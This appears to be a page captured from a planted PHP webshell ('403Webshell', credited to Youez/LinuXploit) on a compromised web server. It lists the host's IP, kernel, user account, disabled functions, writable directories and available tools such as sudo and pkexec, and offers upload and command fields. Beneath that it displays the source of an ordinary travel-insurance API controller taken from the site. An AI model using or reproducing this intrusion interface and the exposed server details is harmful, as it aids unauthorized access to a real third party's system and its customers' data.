403Webshell
Server IP : 95.46.96.79  /  Your IP : 216.73.216.84
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux zaimer.uz 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : akslabs_uz_usr ( 1001)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/apiv1/policy/src/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/apiv1/policy/src/Api/ApexController.php
<?php

namespace Api;

use Core\PriceLoader;
use Core\ApiActions;
use Apex\ApexPriceModel;
use Apex\ApexPolicyModel;
use Apex\ApexInfoModel;
use Utils\ActivityMapper;



class ApexController extends PriceLoader {

    public function handle_request($request) {
        if(isset($request['data']['activity_id'])) {
            $activity_id = ActivityMapper::getActivityId($request['data']['activity_id'], 'apex');
            $request['data']['activity_id'] = $activity_id;
        }

        switch ($request['action']) {
            case ApiActions::REQUEST_OFFERS:
                $apexModel = $this->createApexPriceModel($request);
                $data = $request['data'];
                $result = $apexModel->calculateTravel();

                return $result;
            case ApiActions::APEX_CALCULATE_POLICY:
                $apexModel = $this->createApexPriceModel($request);
                $result = $apexModel->calculatePolicy();

                return $result;
            case ApiActions::GET_PROGRAM_DETAILS:
                if ($request['partner'] !== "Apex") {
                    return [
                        'message' => 'Action doesn\'t exist for this partner'
                    ];
                }
                $apexModel = $this->createApexInfoModel($request['data']);
                $result = $apexModel->getProgramDetails();

                return $result;
            case ApiActions::APEX_GET_REGIONS:
                $apexModel = $this->createApexInfoModel($request['data']);
                $result = $apexModel->getRegions();

                return $result;
            case ApiActions::APEX_GET_PERSON:
                $apexModel = $this->createApexInfoModel($request['data']);
                $result = $apexModel->getPersonInfo();

                return $result;
            case ApiActions::APEX_CREATE_POLICY_LOCAL:
                $apexModel = $this->createApexPolicyModel($request['data'], $this->getRequestId() ?? null);
                $result = $apexModel->createPolicyLocal();

                return $result;
            case ApiActions::APEX_CREATE_PAID_POLICY:
                $apexModel = $this->createApexPolicyModel($request['data'], $this->getRequestId() ?? null);
                $result = $apexModel->createPaidPolicy();

                return $result;
            case ApiActions::APEX_ISSUE_POLICY: 
                $apexModel = $this->createApexPolicyModel($request['data'], $this->getRequestId() ?? null);
                $result = $apexModel->issuePolicy();

                return $result;
            case ApiActions::APEX_CHECK_ISSUED_POLICY:
                $apexModel = $this->createApexPolicyModel($request['data'], $this->getRequestId() ?? null);
                $result = $apexModel->checkIssued();

                return $result;
            case ApiActions::APEX_GET_POLICY:
                $apexModel = $this->createApexPolicyModel($request['data'], $this->getRequestId() ?? null);
                $result = $apexModel->getPolicy($request['data']);

                return $result;
            default:
                return [
                    'message' => 'Action doesn\'t exist for this partner'
                ];
        }
    }

    public function prepareData($price) {
        // Example data preparation
        return [
            'partner' => 'Apex',
            'result' => $price
        ];
    }

    // private function mapCountriesToIds($countries) {
    //     $countryIds = [];
    //     foreach ($countries as $country) {
    //         $countryIds[] = $country['iso'];
    //     }
    //     return $countryIds;
    // }

    private function createBirthDates($dates) {
        if (empty($dates) || !is_array($dates)) {
            return [];
        }
        $birthDates = [];
        foreach ($dates as $date) {
            $birthDates[] = [
                "birthday" => $date
            ];
        }

        return $birthDates;
    }

    private function createApexPriceModel($data) {
        $request_data = $data['data'];

        $start_date = $request_data['start_date'] ?? (new \DateTime())->format('d.m.Y');
        $end_date = $request_data['end_date'] ?? (new \DateTime('tomorrow'))->format('d.m.Y');
        // $country = [
        //     ["iso" => "DK"]
        // ];
        $program_id = $request_data['program_id'] ?? 1;
        $purpose_id = $request_data['activity_id'] ?? 0;
        $group_id = $request_data['group_id'] ?? 1;
        $persons_info = isset($request_data['date_births']) ? $this -> createBirthDates($request_data['date_births']) : [];
        $country = $this -> mapCountriesToAlpha2($request_data['countries_iso']);
        return new ApexPriceModel(
            $start_date,
            $end_date,
            $country,
            $program_id,
            $purpose_id,
            $group_id,
            $persons_info
        );
    }

    private function createApexPolicyModel($data, ?int $request_id) {
        if (!isset($data['countries_iso'])) {
            $data['countries_iso'] = [];
        }
        if (!isset($data['insured'])) {
            $data['insured'] = [];
        }
        if(!isset($data['applicant'])) {
            $data['applicant'] = [];
            $data['applicant']['country'] = '';
        }
        $data['country'] = $this->mapCountriesToAlpha2($data['countries_iso']);

        $data['insured'] = array_map(function($insured) {
            $insured['country'] = $this->mapCountryToAlpha2($insured['country']);
            return $insured;
        }, $data['insured']);

        $data['applicant']['country'] = $this->mapCountryToAlpha2($data['applicant']['country']);

        return new ApexPolicyModel( $data, $request_id);
    }

    private function createApexInfoModel($data) {

        return new ApexInfoModel( $data);
    }

    private function mapCountriesToAlpha2($countries) {
        $countryCodes = [];
        $countriesListJSON = file_get_contents(__DIR__ . '/../Data/ApexCountries.json');
        $countriesList = json_decode($countriesListJSON, true);

        // $countryMap = [];
        // foreach ($countriesList as $country) {
        //     $countryMap[] = $country['id'];
        // }

        foreach ($countries as $countryCode) {
            foreach ($countriesList as $country) {
                if ($country['alpha3'] == $countryCode) {
                    $countryCodes[] = (object) [
                        'iso' => $country['alpha2']
                    ];
                    break;
                }
            }
        }
        return $countryCodes;
    }

    private function mapCountryToAlpha2($countryCode) {
        $countriesListJSON = file_get_contents(__DIR__ . '/../Data/ApexCountries.json');
        $countriesList = json_decode($countriesListJSON, true);

        $filteredCountries = array_filter($countriesList, function ($country) use ($countryCode) {
            return $country['alpha3'] === $countryCode;
        });
        $selected_country = reset($filteredCountries);
        
        if ($selected_country === false) {
            return $countryCode;
        }
        
        return $selected_country['alpha2'];
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit